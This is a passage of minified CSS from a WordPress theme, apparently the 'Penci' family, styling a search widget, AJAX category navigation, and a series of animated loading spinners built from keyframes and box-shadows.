form{border:0;padding:0}.penci_search_box_widget .search-style-text-button.penci-search-form form button:after{display:none}.pcnav-lgroup{position:absolute;top:0;bottom:0;right:0;left:auto;display:flex;flex-wrap:wrap;align-items:center;align-content:center;flex-direction:row;justify-content:end;opacity:0;z-index:9;padding:0 12px}.pcnav-lgroup .hidden-item{visibility:hidden;width:1px}.pcalign-right .pcnav-lgroup{right:auto;left:0;justify-content:start}.pciconp-right.pcalign-left.style-15 .pcnav-lgroup{right:36px}.pciconp-left.pcalign-right.style-15 .pcnav-lgroup{left:36px}.pcnav-lgroup.loaded{opacity:1}.pcnav-lgroup ul{list-style:none;margin:0;padding:0;white-space:normal}.pcnav-lgroup ul ul{position:absolute;top:100%;right:0;width:190px;background-color:rgba(255,255,255,.9);border:1px solid var(--pcborder-cl);margin:4px 0 0;padding:10px 15px;z-index:9;opacity:0;visibility:hidden;text-align:right}.pcalign-right .pcnav-lgroup ul ul{right:auto;left:0;text-align:left}.pcnav-lgroup ul li:hover>ul{opacity:1;visibility:visible;display:block!important}.pcnav-lgroup ul li{display:inline-block;margin:0;padding:0;position:relative;line-height:unset;list-style:none}.pcnav-lgroup ul li.pcaj-next{margin-left:4px}.pcnav-lgroup ul.pcflx>li:last-child>a{padding-right:0!important}.pcnav-lgroup ul.pcflx>li:first-child>a{padding-left:0!important}.pcalign-right .pcnav-lgroup ul li.pcaj-next{margin-right:0}.pcnav-lgroup ul.pcflx-nav{padding-left:15px}@media only screen and (max-width:767px){.pcnav-lgroup{padding-left:0;padding-right:0;left:auto;right:12px}.pcalign-right .pcnav-lgroup{right:auto;left:12px}.pcnav-lgroup ul.pcflx-nav{padding-left:10px;margin-top:-3px}}.pcnav-lgroup ul li.pcaj-nav-item a{padding-left:0;padding-right:0;vertical-align:middle;font-size:13px}.pcnav-lgroup ul li.pcaj-nav-item a i{line-height:inherit;vertical-align:middle}.pcnav-lgroup ul li.pcaj-nav-item a.disable{pointer-events:none;opacity:.4!important;cursor:default}.pcnav-lgroup ul li.pc-more-items>a:after{font-family:FontAwesome;content:"\f107";display:inline-block;margin-left:3px;font-size:13px;opacity:inherit}.pcnav-lgroup ul li{color:var(--pcheading-cl)}.pcnav-lgroup ul li a{display:inline-block;padding:0 10px;color:inherit;opacity:.6;transition:all .3s;text-decoration:none;font-size:14px}.pcnav-lgroup ul li i{color:inherit}.pcnav-lgroup ul li:hover>a,.pcnav-lgroup ul li>a.clactive{opacity:1;color:var(--pcaccent-cl)}.pcnav-lgroup ul ul li a{line-height:1.3;display:block;padding:3px 0}.pcnav-lgroup ul ul li a:hover{color:var(--pcaccent-cl)}.pcnav-lgroup ul ul li{display:block;padding:2px 0}.pcnav-lgroup ul ul li:last-child{border:0}.loading-posts.pctb-ajax-ldp{position:relative}.loading-posts.pctb-ajax-ldp:before{content:"";position:absolute;top:0;left:0;right:0;bottom:0;z-index:200;background:#fff;opacity:.65;display:block}.penci-biggrid .penci-pagination{order:9999999}.penci-homepage-title.style-4 .pcnav-lgroup{background-color:transparent}.penci-homepage-title.style-4 .pcnav-lgroup>ul{background-color:var(--pcbg-cl)}.penci-homepage-title.style-4.pcalign-right .pcnav-lgroup>ul{padding-right:15px}.penci-homepage-title.style-4.pcalign-center .pcnav-lgroup>ul,.penci-homepage-title.style-4.pcalign-left .pcnav-lgroup>ul{padding-left:15px}.penci-homepage-title.style-10 .pcnav-lgroup,.penci-homepage-title.style-11 .pcnav-lgroup,.penci-homepage-title.style-12 .pcnav-lgroup,.penci-homepage-title.style-13 .pcnav-lgroup,.penci-homepage-title.style-14 .pcnav-lgroup,.penci-homepage-title.style-16 .pcnav-lgroup,.penci-homepage-title.style-17 .pcnav-lgroup,.penci-homepage-title.style-4 .pcnav-lgroup,.penci-homepage-title.style-5 .pcnav-lgroup,.penci-homepage-title.style-6 .pcnav-lgroup,.penci-homepage-title.style-7 .pcnav-lgroup,.penci-homepage-title.style-9 .pcnav-lgroup{padding:0}.pcftaj-ld{position:relative;overflow:hidden}.pcftaj-ld .penci-loader-effect{display:block}.pcftaj-ld:before{content:"";position:absolute;top:0;left:0;right:0;bottom:0;z-index:200;background:var(--pcbg-cl);opacity:.65;display:block}.penci-loader-effect{width:40px;height:40px;margin:0 auto;margin-top:-20px;margin-left:-20px;display:none;position:absolute;top:50%;left:50%;z-index:300}.penci-portfolio .penci-loader-effect{top:50px}@media (max-width:767px){.penci-loader-effect{top:135px}}.penci-loading-animation:after,.penci-loading-animation:before{content:"";position:absolute}.penci-loading-animation-1 .penci-loading-animation,.penci-loading-animation-1 .penci-loading-animation:after,.penci-loading-animation-1 .penci-loading-animation:before,.penci-loading-animation-5 .penci-loading-animation,.penci-loading-animation-6 .penci-loading-animation:before,.penci-loading-animation-7 .penci-loading-animation,.penci-loading-animation-8 .penci-loading-animation,.penci-loading-animation-9 .penci-loading-circle-inner:before{background-color:var(--pcaccent-cl)}.penci-load-thecube{transform:rotateZ(45deg);-webkit-transform:rotateZ(45deg);-moz-transform:rotateZ(45deg)}.penci-load-thecube .penci-load-cube{position:relative;transform:rotateZ(45deg);-webkit-transform:rotateZ(45deg);-moz-transform:rotateZ(45deg)}.penci-load-thecube .penci-load-cube{float:left;width:50%;height:50%;position:relative;transform:scale(1.1);-webkit-transform:scale(1.1);-moz-transform:scale(1.1)}.penci-load-thecube .penci-load-cube:before{content:"";position:absolute;top:0;left:0;width:100%;height:100%;animation:penci-load-fold-thecube 1.44s infinite linear both;-webkit-animation:penci-load-fold-thecube 1.44s infinite linear both;-moz-animation:penci-load-fold-thecube 1.44s infinite linear both;transform-origin:100% 100%;-webkit-transform-origin:100% 100%;-moz-transform-origin:100% 100%}.penci-load-thecube .penci-load-c2{transform:scale(1.1) rotateZ(90deg);-webkit-transform:scale(1.1) rotateZ(90deg);-moz-transform:scale(1.1) rotateZ(90deg)}.penci-load-thecube .penci-load-c3{transform:scale(1.1) rotateZ(180deg);-ms-transform:scale(1.1) rotateZ(180deg);-webkit-transform:scale(1.1) rotateZ(180deg);-moz-transform:scale(1.1) rotateZ(180deg)}.penci-load-thecube .penci-load-c4{transform:scale(1.1) rotateZ(270deg);-webkit-transform:scale(1.1) rotateZ(270deg);-moz-transform:scale(1.1) rotateZ(270deg)}.penci-load-thecube .penci-load-c2:before{animation-delay:175ms;-webkit-animation-delay:175ms;-moz-animation-delay:175ms}.penci-load-thecube .penci-load-c3:before{animation-delay:.36s;-webkit-animation-delay:.36s;-moz-animation-delay:.36s}.penci-load-thecube .penci-load-c4:before{animation-delay:535ms;-webkit-animation-delay:535ms;-moz-animation-delay:535ms}@keyframes penci-load-fold-thecube{0%,10%{transform:perspective(77px) rotateX(-180deg);opacity:0}25%,75%{transform:perspective(77px) rotateX(0);opacity:1}100%,90%{transform:perspective(77px) rotateY(180deg);opacity:0}}@-webkit-keyframes penci-load-fold-thecube{0%,10%{-webkit-transform:perspective(77px) rotateX(-180deg);opacity:0}25%,75%{-webkit-transform:perspective(77px) rotateX(0);opacity:1}100%,90%{-webkit-transform:perspective(77px) rotateY(180deg);opacity:0}}.penci-three-bounce{text-align:center;position:relative}.penci-three-bounce .one,.penci-three-bounce .three,.penci-three-bounce .two{display:inline-block;width:15px;height:15px;border-radius:100%;background-color:var(--pcaccent-cl);-webkit-animation:pencibouncedelay 1s infinite ease-in-out both;animation:pencibouncedelay 1s infinite ease-in-out both}.penci-three-bounce .one{-webkit-animation-delay:-.32s;animation-delay:-.32s}.penci-three-bounce .two{-webkit-animation-delay:-.16s;animation-delay:-.16s;margin:0 5px}@-webkit-keyframes pencibouncedelay{0%,100%,80%{-webkit-transform:scale(0)}40%{-webkit-transform:scale(1)}}@keyframes pencibouncedelay{0%,100%,80%{-webkit-transform:scale(0);transform:scale(0)}40%{transform:scale(1);-webkit-transform:scale(1)}}.penci-loading-animation-1{width:50px;height:40px;text-align:center;font-size:10px;margin-left:-25px;margin-top:-20px}.penci-loading-animation-1>div{background-color:var(--pcaccent-cl);height:100%;width:6px;margin:0 1px;display:inline-block;-webkit-animation:pencistretchdelay 1s infinite ease-in-out;animation:pencistretchdelay 1s infinite ease-in-out}.penci-loading-animation-1 .rect2{-webkit-animation-delay:-.9s;animation-delay:-.9s}.penci-loading-animation-1 .rect3{-webkit-animation-delay:-.8s;animation-delay:-.8s}.penci-loading-animation-1 .rect4{-webkit-animation-delay:-.7s;animation-delay:-.7s}@-webkit-keyframes pencistretchdelay{0%,100%,40%{-webkit-transform:scaleY(.4)}20%{-webkit-transform:scaleY(1)}}@keyframes pencistretchdelay{0%,100%,40%{transform:scaleY(.4);-webkit-transform:scaleY(.4)}20%{transform:scaleY(1);-webkit-transform:scaleY(1)}}body{--pc-loader-2:var(--pcaccent-cl)}.penci-loading-animation-2{-webkit-transform:scale(.5);-ms-transform:scale(.5);transform:scale(.5)}.penci-loading-animation-2 .penci-loading-animation{margin:26px auto;width:1em;height:1em;border-radius:50%;position:relative;-webkit-animation:loader-2 .85s infinite linear;animation:loader-2 .85s infinite linear}@-webkit-keyframes loader-2{0%,100%{box-shadow:0 -3em 0 .2em var(--pc-loader-2),2em -2em 0 0 var(--pc-loader-2),3em 0 0 -1em var(--pc-loader-2),2em 2em 0 -1em var(--pc-loader-2),0 3em 0 -1em var(--pc-loader-2),-2em 2em 0 -1em var(--pc-loader-2),-3em 0 0 -1em var(--pc-loader-2),-2em -2em 0 0 var(--pc-loader-2)}12.5%{box-shadow:0 -3em 0 0 var(--pc-loader-2),2em -2em 0 .2em var(--pc-loader-2),3em 0 0 0 var(--pc-loader-2),2em 2em 0 -1em var(--pc-loader-2),0 3em 0 -1em var(--pc-loader-2),-2em 2em 0 -1em var(--pc-loader-2),-3em 0 0 -1em var(--pc-loader-2),-2em -2em 0 -1em var(--pc-loader-2)}25%{box-shadow:0 -3em 0 -.5em var(--pc-loader-2),2em -2em 0 0 var(--pc-loader-2),3em 0 0 .2em var(--pc-loader-2),2em 2em 0 0 var(--pc-loader-2),0 3em 0 -1em var(--pc-loader-2),-2em 2em 0 -1em var(--pc-loader-2),-3em 0 0 -1em var(--pc-loader-2),-2em -2em 0 -1em var(--pc-loader-2)}37.5%{box-shadow:0 -3em 0 -1em var(--pc-loader-2),2em -2em 0 -1em var(--pc-loader-2),3em 0 0 0 var(--pc-loader-2),2em 2em 0 .2em var(--pc-loader-2),0 3em 0 0 var(--pc-loader-2),-2em 2em 0 -1em var(--pc-loader-2),-3em 0 0 -1em var(--pc-loader-2),-2em -2em 0 -1em var(--pc-loader-2)}50%{box-shadow:0 -3em 0 -1em var(--pc-loader-2),2em -2em 0 -1em var(--pc-loader-2),3em 0 0 -1em var(--pc-loader-2),2em 2em 0 0 var(--pc-loader-2),0 3em 0 .2em var(--pc-loader-2),-2em 2em 0 0 var(--pc-loader-2),-3em 0 0 -1em var(--pc-loader-2),-2em -2em 0 -1em var(--pc-loader-2)}62.5%{box-shadow:0 -3em 0 -1em var(--pc-loader-2),2em -2em 0 -1em var(--pc-loader-2),3em 0 0 -1em var(--pc-loader-2),2em 2em 0 -1em var(--pc-loader-2),0 3em 0 0 var(--pc-loader-2),-2em 2em 0 .2em var(--pc-loader-2),-3em 0 0 0 var(--pc-loader-2),-2em -2em 0 -1em var(--pc-loader-2)}75%{box-shadow:0 -3em 0 -1em var(--pc-loader-2),2em -2em 0 -1em var(--pc-loader-2),3em 0 0 -1em var(--pc-loader-2),2em 2em 0 -1em var(--pc-loader-2),0 3em 0 -1em var(--pc-loader-2),-2em 2em 0 0 var(--pc-loader-2),-3em 0 0 .2em var(--pc-loader-2),-2em -2em 0 0 var(--pc-loader-2)}87.5%{box-shadow:0 -3em 0 0 var(--pc-loader-2),2em -2em 0 -1em var(--pc-loader-2),3em 0 0 -1em var(--pc-loader-2),2em 2em 0 -1em var(--pc-loader-2),0 3em 0 -1em var(--pc-loader-2),-2em 2em 0 0 var(--pc-loader-2),-3em 0 0 0 var(--pc-loader-2),-2em -2em 0 .2em var(--pc-loader-2)}}@keyframes loader-2{0%,100%{box-shadow:0 -3em 0 .2em var(--pc-loader-2),2em -2em 0 0 var(--pc-loader-2),3em 0 0 -1em var(--pc-loader-2),2em 2em 0 -1em var(--pc-loader-2),0 3em 0 -1em var(--pc-loader-2),-2em 2em 0 -1em var(--pc-loader-2),-3em 0 0 -1em var(--pc-loader-2),-2em -2em 0 0 var(--pc-loader-2)}12.5%{box-shadow:0 -3em 0 0 var(--pc-loader-2),2em -2em 0 .2em var(--pc-loader-2),3em 0 0 0 var(--pc-loader-2),2em 2em 0 -1em var(--pc-loader-2),0 3em 0 -1em var(--pc-loader-2),-2em 2em 0 -1em var(--pc-loader-2),-3em 0 0 -1em var(--pc-loader-2),-2em -2em 0 -1em var(--pc-loader-2)}25%{box-shadow:0 -3em 0 -.5em var(--pc-loader-2),2em -2em 0 0 var(--pc-loader-2),3em 0 0 .2em var(--pc-loader-2),2em 2em 0 0 var(--pc-loader-2),0 3em 0 -1em var(--pc-loader-2),-2em 2em 0 -1em var(--pc-loader-2),-3em 0 0 -1em var(--pc-loader-2),-2em -2em 0 -1em var(--pc-loader-2)}37.5%{box-shadow:0 -3em 0 -1em var(--pc-loader-2),2em -2em 0 -1em var(--pc-loader-2),3em 0 0 0 var(--pc-loader-2),2em 2em 0 .2em var(--pc-loader-2),0 3em 0 0 var(--pc-loader-2),-2em 2em 0 -1em var(--pc-loader-2),-3em 0 0 -1em var(--pc-loader-2),-2em -2em 0 -1em var(--pc-loader-2)}50%{box-shadow:0 -3em 0 -1em var(--pc-loader-2),2em -2em 0 -1em var(--pc-loader-2),3em 0 0 -1em var(--pc-loader-2),2em 2em 0 0 var(--pc-loader-2),0 3em 0 .2em var(--pc-loader-2),-2em 2em 0 0 var(--pc-loader-2),-3em 0 0 -1em var(--pc-loader-2),-2em -2em 0 -1em var(--pc-loader-2)}62.5%{box-shadow:0 -3em 0 -1em var(--pc-loader-2),2em -2em 0 -1em var(--pc-loader-2),3em 0 0 -1em var(--pc-loader-2),2em 2em 0 -1em var(--pc-loader-2),0 3em 0 0 var(--pc-loader-2),-2em 2em 0 .2em var(--pc-loader-2),-3em 0 0 0 var(--pc-loader-2),-2em -2em 0 -1em var(--pc-loader-2)}75%{box-shadow:0 -3em 0 -1em var(--pc-loader-2),2em -2em 0 -1em var(--pc-loader-2),3em 0 0 -1em var(--pc-loader-2),2em 2em 0 -1em var(--pc-loader-2),0 3em 0 -1em var(--pc-loader-2),-2em 2em 0 0 var(--pc-loader-2),-3em 0 0 .2em var(--pc-loader-2),-2em -2em 0 0 var(--pc-loader-2)}87.5%{box-shadow:0 -3em 0 0 var(--pc-loader-2),2em -2em 0 -1em var(--pc-loader-2),3em 0 0 -1em var(--pc-loader-2),2em 2em 0 -1em var(--pc-loader-2),0 3em 0 -1em var(--pc-loader-2),-2em 2em 0 0 var(--pc-loader-2),-3em 0 0 0 var(--pc-loader-2),-2em -2em 0 .2em var(--pc-loader-2)}}.penci-loading-animation-3{-webkit-transform:scale(.55);-ms-transform:scale(.55);transform:scale(.55)}.penci-loading-animation-3 .penci-loading-animation{margin:26px auto;width:16px;height:16px;border-radius:50%;position:relative;-webkit-animation:loader-3 .7s infinite ease;animation:loader-3 .7s infinite ease}@-webkit-keyframes loader-3{0%,100%{box-shadow:0 -2.6em 0 0 #3f51b5,1.8em -1.8em 0 0 rgba(63,81,181,.2),2.5em 0 0 0 rgba(63,81,181,.2),1.75em 1.75em 0 0 rgba(63,81,181,.2),0 2.5em 0 0 rgba(63,81,181,.2),-1.8em 1.8em 0 0 rgba(63,81,181,.2),-2.6em 0 0 0 rgba(63,81,181,.5),-1.8em -1.8em 0 0 rgba(63,81,181,.7)}12.5%{box-shadow:0 -2.6em 0 0 rgba(63,81,181,.7),1.8em -1.8em 0 0 #3f51b5,2.5em 0 0 0 rgba(63,81,181,.2),1.75em 1.75em 0 0 rgba(63,81,181,.2),0 2.5em 0 0 rgba(63,81,181,.2),-1.8em 1.8em 0 0 rgba(63,81,181,.2),-2.6em 0 0 0 rgba(63,81,181,.2),-1.8em -1.8em 0 0 rgba(63,81,181,.5)}25%{box-shadow:0 -2.6em 0 0 rgba(63,81,181,.5),1.8em -1.8em 0 0 rgba(63,81,181,.7),2.5em 0 0 0 #3f51b5,1.75em 1.75em 0 0 rgba(63,81,181,.2),0 2.5em 0 0 rgba(63,81,181,.2),-1.8em 1.8em 0 0 rgba(63,81,181,.2),-2.6em 0 0 0 rgba(63,81,181,.2),-1.8em -1.8em 0 0 rgba(63,81,181,.2)}37.5%{box-shadow:0 -2.6em 0 0 rgba(63,81,181,.2),1.8em -1.8em 0 0 rgba(63,81,181,.5),2.5em 0 0 0 rgba(63,81,181,.7),1.75em 1.75em 0 0 rgba(63,81,181,.2),0 2.5em 0 0 rgba(63,81,181,.2),-1.8em 1.8em 0 0 rgba(63,81,181,.2),-2.6em 0 0 0 rgba(63,81,181,.2),-1.8em -1.8em 0 0 rgba(63,81,181,.2)}50%{box-shadow:0 -2.6em 0 0 rgba(63,81,181,.2),1.8em -1.8em 0 0 rgba(63,81,181,.2),2.5em 0 0 0 rgba(63,81,181,.5),1.75em 1.75em 0 0 rgba(63,81,181,.7),0 2.5em 0 0 #3f51b5,-1.8em 1.8em 0 0 rgba(63,81,181,.2),-2.6em 0 0 0 rgba(63,81,181,.2),-1.8em -1.8em 0 0 rgba(63,81,181,.2)}62.5%{box-shadow:0 -2.6em 0 0 rgba(63,81,181,.2),1.8em -1.8em 0 0 rgba(63,81,181,.2),2.5em 0 0 0 rgba(63,81,181,.2),1.75em 1.75em 0 0 rgba(63,81,181,.5),0 2.5em 0 0 rgba(63,81,181,.7),-1.8em 1.8em 0 0 #3f51b5,-2.6em 0 0 0 rgba(63,81,181,.2),-1.8em -1.8em 0 0 rgba(63,81,181,.2)}75%{box-shadow:0 -2.6em 0 0 rgba(63,81,181,.2),1.8em -1.8em 0 0 rgba(63,81,181,.2),2.5em 0 0 0 rgba(63,81,181,.2),1.75em 1.75em 0 0 rgba(63,81,181,.2),0 2.5em 0 0 rgba(63,81,181,.5),-1.8em 1.8em 0 0 rgba(63,81,181,.7),-2.6em 0 0 0 #3f51b5,-1.8em -1.8em 0 0 rgba(63,81,181,.2)}87.5%{box-shadow:0 -2.6em 0 0 rgba(63,81,181,.2),1.8em -1.8em 0 0 rgba(63,81,181,.2),2.5em 0 0 0 rgba(63,81,181,.2),1.75em 1.75em 0 0 rgba(63,81,181,.2),0 2.5em 0 0 rgba(63,81,181,.2),-1.8em 1.8em 0 0 rgba(63,81,181,.5),-2.6em 0 0 0 rgba(63,81,181,.7),-1.8em -1.8em 0 0 #3f51b5}}@keyframes loader-3{0%,100%{box-shadow:0 -2.6em 0 0 #3f51b5,1.8em -1.8em 0 0 rgba(63,81,181,.2),2.5em 0 0 0 rgba(63,81,181,.2),1.75em 1.75em 0 0 rgba(63,81,181,.2),0 2.5em 0 0 rgba(63,81,181,.2),-1.8em 1.8em 0 0 rgba(63,81,181,.2),-2.6em 0 0 0 rgba(63,81,181,.5),-1.8em -1.8em 0 0 rgba(63,81,181,.7)}12.5%{box-shadow:0 -2.6em 0 0 rgba(63,81,181,.7),1.8em -1.8em 0 0 #3f51b5,2.5em 0 0 0 rgba(63,81,181,.2),1.75em 1.75em 0 0 rgba(63,81,181,.2),0 2.5em 0 0 rgba(63,81,181,.2),-1.8em 1.8em 0 0 rgba(63,81,181,.2),-2.6em 0 0 0 rgba(63,81,181,.2),-1.8em -1.8em 0 0 rgba(63,81,181,.5)}25%{box-shadow:0 -2.6em 0 0 rgba(63,81,181,.5),1.8em -1.8em 0 0 rgba(63,81,181,.7),2.5em 0 0 0 #3f51b5,1.75em 1.75em 0 0 rgba(63,81,181,.2),0 2.5em 0 0 rgba(63,81,181,.2),-1.8em 1.8em 0 0 rgba(63,81,181,.2),-2.6em 0 0 0 rgba(63,81,181,.2),-1.8em -1.8em 0 0 rgba(63,81,181,.2)}37.5%{box-shadow:0 -2.6em 0 0 rgba(63,81,181,.2),1.8em -1.8em 0 0 rgba(63,81,181,.5),2.5em 0 0 0 rgba(63,81,181,.7),1.75em 1.75em 0 0 rgba(63,81,181,.2),0 2.5em 0 0 rgba(63,81,181,.2),-1.8em 1.8em 0 0 rgba(63,81,181,.2),-2.6em 0 0 0 rgba(63,81,181,.2),-1.8em -1.8em 0 0 rgba(63,81,181,.2)}50%{box-shadow:0 -2.6em 0 0 rgba(63,81,181,.2),1.8em -1.8em 0 0 rgba(63,81,181,.2),2.5em 0 0 0 rgba(63,81,181,.5),1.75em 1.75em 0 0 rgba(63,81,181,.7),0 2.5em 0 0 #3f51b5,-1.8em 1.8em 0 0 rgba(63,81,181,.2),-2.6em 0 0 0 rgba(63,81,181,.2),-1.8em -1.8em 0 0 rgba(63,81,181,.2)}62.5%{box-shadow:0 -2.6em 0 0 rgba(63,81,181,.2),1.8em -1.8em 0 0 rgba(63,81,181,.2),2.5em 0 0 0 rgba(63,81,181,.2),1.75em 1.75em 0 0 rgba(63,81,181,.5),0 2.5em 0 0 rgba(63,81,181,.7),-1.8em 1.8em 0 0 #3f51b5,-2.6em 0 0 0 rgba(63,81,181,.2),-1.8em -1.8em 0 0 rgba(63,81,181,.2)}75%{box-shadow:0 -2.6em 0 0 rgba(63,81,181,.2),1.8em -1.8em 0 0 rgba(63,81,181,.2),2.5em 0 0 0 rgba(63,81,181,.2),1.75em 1.75em 0 0 rgba(63,81,181,.2),0 2.5em 0 0 rgba(63,81,181,.5),-1.8em 1.8em 0 0 rgba(63,81,181,.7),-2.6em 0 0 0 #3f51b5,-1.8em -1.8em 0 0 rgba(63,81,181,.2)}87.5%{box-shadow:0 -2.6em 0 0 rgba(63,81,181,.2),1.8em -1.8em 0 0 rgba(63,81,181,.2),2.5em 0 0 0 rgba(63,81,181,.2),1.75em 1.75em 0 0 rgba(63,81,181,.2),0 2.5em 0 0 rgba(63,81,181,.2),-1.8em 1.8em 0 0 rgba(63,81,181,.5),-2.6em 0 0 0 rgba(63,81,181,.7),-1.8em -1.8em 0 0 #3f51b5}}.penci-loading-animation-4{width:auto;height:auto;margin-top:0;margin-left:0}.penci-loading-animation-4 .penci-loading-animation{font-size:30px;overflow:hidden;width:1em;height:1em;border-radius:50%;margin:0 auto;margin-top:-.5em;margin-left:-.5em;position:relative;-webkit-animation:loader-4 1s infinite ease;animation:loader-4 1s infinite ease}@-webkit-keyframes loader-4{0%{-webkit-transform:rotate(0);transform:rotate(0);box-shadow:0 -.83em 0 -.4em var(--pcaccent-cl),0 -.83em 0 -.42em var(--pcaccent-cl),0 -.83em 0 -.44em var(--pcaccent-cl),0 -.83em 0 -.46em var(--pcaccent-cl),0 -.83em 0 -.477em var(--pcaccent-cl)}5%,95%{box-shadow:0 -.83em 0 -.4em var(--pcaccent-cl),0 -.83em 0 -.42em var(--pcaccent-cl),0 -.83em 0 -.44em var(--pcaccent-cl),0 -.83em 0 -.46em var(--pcaccent-cl),0 -.83em 0 -.477em var(--pcaccent-cl)}10%,59%{box-shadow:0 -.83em 0 -.4em var(--pcaccent-cl),-.087em -.825em 0 -.42em var(--pcaccent-cl),-.173em -.812em 0 -.44em var(--pcaccent-cl),-.256em -.789em 0 -.46em var(--pcaccent-cl),-.297em -.775em 0 -.477em var(--pcaccent-cl)}20%{box-shadow:0 -.83em 0 -.4em var(--pcaccent-cl),-.338em -.758em 0 -.42em var(--pcaccent-cl),-.555em -.617em 0 -.44em var(--pcaccent-cl),-.671em -.488em 0 -.46em var(--pcaccent-cl),-.749em -.34em 0 -.477em var(--pcaccent-cl)}48%{box-shadow:0 -.83em 0 -.4em var(--pcaccent-cl),-.377em -.74em 0 -.42em var(--pcaccent-cl),-.645em -.522em 0 -.44em var(--pcaccent-cl),-.775em -.297em 0 -.46em var(--pcaccent-cl),-.82em -.09em 0 -.477em var(--pcaccent-cl)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg);box-shadow:0 -.83em 0 -.4em var(--pcaccent-cl),0 -.83em 0 -.42em var(--pcaccent-cl),0 -.83em 0 -.44em var(--pcaccent-cl),0 -.83em 0 -.46em var(--pcaccent-cl),0 -.83em 0 -.477em var(--pcaccent-cl)}}@keyframes loader-4{0%{-webkit-transform:rotate(0);transform:rotate(0);box-shadow:0 -.83em 0 -.4em var(--pcaccent-cl),0 -.83em 0 -.42em var(--pcaccent-cl),0 -.83em 0 -.44em var(--pcaccent-cl),0 -.83em 0 -.46em var(--pcaccent-cl),0 -.83em 0 -.477em var(--pcaccent-cl)}5%,95%{box-shadow:0 -.83em 0 -.4em var(--pcaccent-cl),0 -.83em 0 -.42em var(--pcaccent-cl),0 -.83em 0 -.44em var(--pcaccent-cl),0 -.83em 0 -.46em var(--pcaccent-cl),0 -.83em 0 -.477em var(--pcaccent-cl)}10%,59%{box-shadow:0 -.83em 0 -.4em var(--pcaccent-cl),-.087em -.825em 0 -.42em var(--pcaccent-cl),-.173em -.812em 0 -.44em var(--pcaccent-cl),-.256em -.789em 0 -.46em var(--pcaccent-cl),-.297em -.775em 0 -.477em var(--pcaccent-cl)}20%{box-shadow:0 -.83em 0 -.4em var(--pcaccent-cl),-.338em -.758em 0 -.42em var(--pcaccent-cl),-.555em -.617em 0 -.44em var(--pcaccent-cl),-.671em -.488em 0 -.46em var(--pcaccent-cl),-.749em -.34em 0 -.477em var(--pcaccent-cl)}48%{box-shadow:0 -.83em 0 -.4em var(--pcaccent-cl),-.377em -.74em 0 -.42em var(--pcaccent-cl),-.645em -.522em 0 -.44em var(--pcaccent-cl),-.775em -.297em 0 -.46em var(--pcaccent-cl),-.82em -.09em 0 -.477em var(--pcaccent-cl)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg);box-shadow:0 -.83em 0 -.4em var(--pcaccent-cl),0 -.83em 0 -.42em var(--pcaccent-cl),0 -.83em 0 -.44em var(--pcaccent-cl),0 -.83em 0 -.46em var(--pcaccent-cl),0 -.83em 0 -.477em var(--pcaccent-cl)}}.penci-loading-animation-5{width:58px;height:20px;position:absolute;margin-top:-10px;margin-left:-29px}.penci-loading-animation-7 .penci-loading-animation{width:33%;height:33%;float:left;-webkit-animation:loader-7 1.1s infinite ease-in-out;animation:loader-7 1.1s infinite ease-in-out}.penci-loading-animation-7 .penci-loading-animation-inner-1{-webkit-animation-delay:.2s;animation-delay:.2s}.penci-loading-animation-7 .penci-loading-animation-inner-2{-webkit-animation-delay:.3s;animation-delay:.3s}.penci-loading-animation-7 .penci-loading-animation-inner-3{-webkit-animation-delay:.4s;animation-delay:.4s}.penci-loading-animation-7 .penci-loading-animation-inner-4{-webkit-animation-delay:.1s;animation-delay:.1s}.penci-loading-animation-7 .penci-loading-animation-inner-5{-webkit-animation-delay:.2s;animation-delay:.2s}.penci-loading-animation-7 .penci-loading-animation-inner-6{-webkit-animation-delay:.3s;animation-delay:.3s}.penci-loading-animation-7 .penci-loading-animation-inner-7{-webkit-animation-delay:0s;animation-delay:0s}.penci-loading-animation-7 .penci-loading-animation-inner-8{-webkit-animation-delay:.1s;animation-delay:.1s}.penci-loading-animation-7 .penci-loading-animation-inner-9{-webkit-animation-delay:.2s;animation-delay:.2s}@-webkit-keyframes loader-7{0%,100%,70%{-webkit-transform:scale3D(1,1,1);transform:scale3D(1,1,1)}35%{-webkit-transform:scale3D(0,0,1);transform:scale3D(0,0,1)}}@keyframes loader-7{0%,100%,70%{-webkit-transform:scale3D(1,1,1);transform:scale3D(1,1,1)}35%{-webkit-transform:scale3D(0,0,1);transform:scale3D(0,0,1)}}.penci-loading-animation-8 .penci-loading-animation{width:10px;height:10px;position:absolute;top:0;left:0;-webkit-animation:loader-8 1.6s ease-in-out -1.8s infinite both;animation:loader-8 1.6s ease-in-out -1.8s infinite both}.penci-loading-animation-8 .penci-loading-animation-inner-2{-webkit-animation-delay:-.9s;animation-delay:-.9s}@-webkit-keyframes loader-8{0%{-webkit-transform:rotate(0);transform:rotate(0)}25%{-webkit-transform:translateX(30px) rotate(-90deg) scale(.5);transform:translateX(30px) rotate(-90deg) scale(.5)}50%{-webkit-transform:translateX(30px) translateY(30px) rotate(-179deg);transform:translateX(30px) translateY(30px) rotate(-179deg)}50.1%{-webkit-transform:translateX(30px) translateY(30px) rotate(-180deg);transform:translateX(30px) translateY(30px) rotate(-180deg)}75%{-webkit-transform:translateX(0) translateY(30px) rotate(-270deg) scale(.5);transform:translateX(0) translateY(30px) rotate(-270deg) scale(.5)}100%{-webkit-transform:rotate(-360deg);transform:rotate(-360deg)}}@keyframes loader-8{0%{-webkit-transform:rotate(0);transform:rotate(0)}25%{-webkit-transform:translateX(30px) rotate(-90deg) scale(.5);transform:translateX(30px) rotate(-90deg) scale(.5)}50%{-webkit-transform:translateX(30px) translateY(30px) rotate(-179deg);transform:translateX(30px) translateY(30px) rotate(-179deg)}50.1%{-webkit-transform:translateX(30px) translateY(30px) rotate(-180deg);transform:translateX(30px) translateY(30px) rotate(-180deg)}75%{-webkit-transform:translateX(0) translateY(30px) rotate(-270deg) scale(.5);transform:translateX(0) translateY(30px) rotate(-270deg) scale(.5)}100%{-webkit-transform:rotate(-360deg);transform:rotate(-360deg)}}.penci-loading-circle{margin:0 auto;width:40px;height:40px;position:relative}.penci-loading-circle .penci-loading-circle-inner{width:100%;height:100%;position:absolute;left:0;top:0}.penci-loading-circle .penci-loading-circle-inner:before{content:"";display:block;margin:0 auto;width:15%;height:15%;border-radius:100%;-webkit-animation:penciLoadingCircleBounceDelay .7s infinite ease-in-out both;animation:penciLoadingCircleBounceDelay .7s infinite ease-in-out both}.penci-loading-circle .penci-loading-circle2{-webkit-transform:rotate(30deg);-ms-transform:rotate(30deg);transform:rotate(30deg)}.penci-loading-circle 